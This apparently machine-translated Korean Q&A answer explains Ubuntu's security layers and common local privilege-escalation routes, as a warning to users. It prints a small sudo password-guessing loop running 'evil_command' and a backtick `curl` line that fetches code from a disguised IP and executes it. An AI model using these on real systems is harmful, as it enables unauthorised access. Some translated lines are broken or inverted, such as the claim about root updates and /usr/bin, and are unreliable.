답변:
이것은 복잡한 질문입니다. Ubuntu 시스템에는 AppArmor와 같은 복잡한 프레임 워크에서와 같은 겸손한 커널 변수에 이르기까지 다양한 보안 계층이 mmap_min_addr
있습니다. 믹스에서 메모리 랜덤 화와 같은 일부 커널 기능을 추가 할 수 있습니다. Ubuntu Wiki 에서 간단한 설명과 함께 목록을 찾을 수 있습니다 .
또 다른 중요한 요소는 업데이트가 빠르고 쉽다는 것입니다. 따라서 대부분의 컴퓨터는 최신 보안 수정 프로그램으로 업데이트됩니다.
내가 아는 한 컴퓨터에 로컬로 액세스 한 공격자는 세 가지 방법으로 커널 권한을 확장 할 수 있습니다.
암호를 해독하십시오. 그러나 이것은 실제로 어려울 것입니다. 암호는 알려진 결함이없는 알고리즘을 사용하여 암호화되어 저장됩니다. 금이 가려면 오랜 시간이 걸립니다.
커널의 버그. 그러나 커널의 모든 보안 기능이 방해를받습니다.
사회 공학과 같이 암호를 제공하도록 사용자를 속입니다. 가짜 암호 대화 상자를 표시하거나 다른 방법을 사용하십시오. 가장 쉬운 방법입니다.
세 번째 요점은 현재 가장 취약한 취약점입니다.
sudoers
.
우분투는 기본적으로 루트 사용자를 비활성화했기 때문에 루트 암호 자체를 해독 할 수 없습니다. 그러나 사용자가 sudo를 통해 root가 될 수 있고 암호를 추측 / 부정하기 쉬운 경우 안전하지 않은 시스템입니다. 비밀번호를 테스트하려는 스크립트 예 :
#!/bin/sh
for pass in password 123 ubuntu pass; do
echo $pass|sudo -S evil_command
done
신뢰할 수없는 리포지토리를 추가하면 해당 리포지토리의 프로그램을 설치할 수 있습니다. 와 같은 응용 프로그램을 명시 적으로 설치하지 않더라도 sudo apt-get install [app-from-repo]
저장소에 최신 버전의 특정 프로그램이 포함되어 있다고 우분투가 믿게함으로써 저장소는 여전히 다른 프로그램에 영향을 줄 수 있습니다.
업데이트 프로세스가 루트로 실행되었으므로 파일을 /usr/bin
또는에 쓸 수 없습니다 /etc
. 설치 트리거도 루트로 실행되며 임의로 또는 유해한 명령을 임의로 실행할 수 있습니다. 이제 걱정하지 마십시오. 프로그램을 업데이트하려면 수동 작업이 필요하며 Ubuntu 리포지토리는 안전합니다. Windows와 같은 폐쇄 형 소스 소프트웨어는 악성 코드의 소스를 확인할 수 없기 때문에 완전히 신뢰할 수는 없지만 필요한 경우 Ubuntu 응용 프로그램의 소스를 검토 할 수 있습니다 ( sun-java6
Flash 와 같은 독점 프로그램에는 적용되지 않음 ).
Javier Rivera가 언급했듯이 커널 버그는 임의의 코드 실행으로 이어질 수 있지만 버그가있는 소프트웨어, 특히 버그가있는 setsuid
루트 바이너리 (파일 소유자, 루트에서 실행되는 바이너리) 및 루트로 실행되는 기타 버그가있는 프로그램도 위험 할 수 있습니다 .
수행중인 작업에주의를 기울이지 않으면 시스템에 보안 허점을 만들 수 있습니다. 예를 들어, cronjobs의 개념을 완전히 이해하지 못하면 /etc/cron.daily
홈 폴더에서 프로그램을 실행 하는 cronjob을 추가했습니다 (예 : /bin/sh /home/your-username/myscript.sh
myscript.sh 파일을 쓸 수있는 사용자가 삭제할 수있는 경우 악용으로 인해 악용 될 수 있음) myscript.sh
루트 (권한 에스컬레이션)로 실행될 코드입니다 .
안전을 유지하려면 마음을 사용하십시오! 무엇을 모르는 경우 신뢰할 수없는 출처에서 명령을 실행하지 마십시오. 누군가가 백틱으로 실행한다고 `curl 3221233674`
말하지 마십시오. 3221233674는 또 다른 작성 방법 192.0.32.10
입니다 (example.com의 IP). 따라서 다음과 같습니다.
`curl http://example.com/`
이러한 백 틱은 출력을 쉘 명령으로 실행합니다. 일반 영어로 " http://example.com/ 페이지를 다운로드하고 다운로드 한 페이지 를 실행하십시오".
처음에는 주어진 명령에서 악의적 인 것을 보지 못할 것입니다. 그러나 이제는 악용 될 수도 있습니다.
인터넷과 같은 신뢰할 수없는 출처에서받은 명령 / 스크립트는 항상 확인하십시오.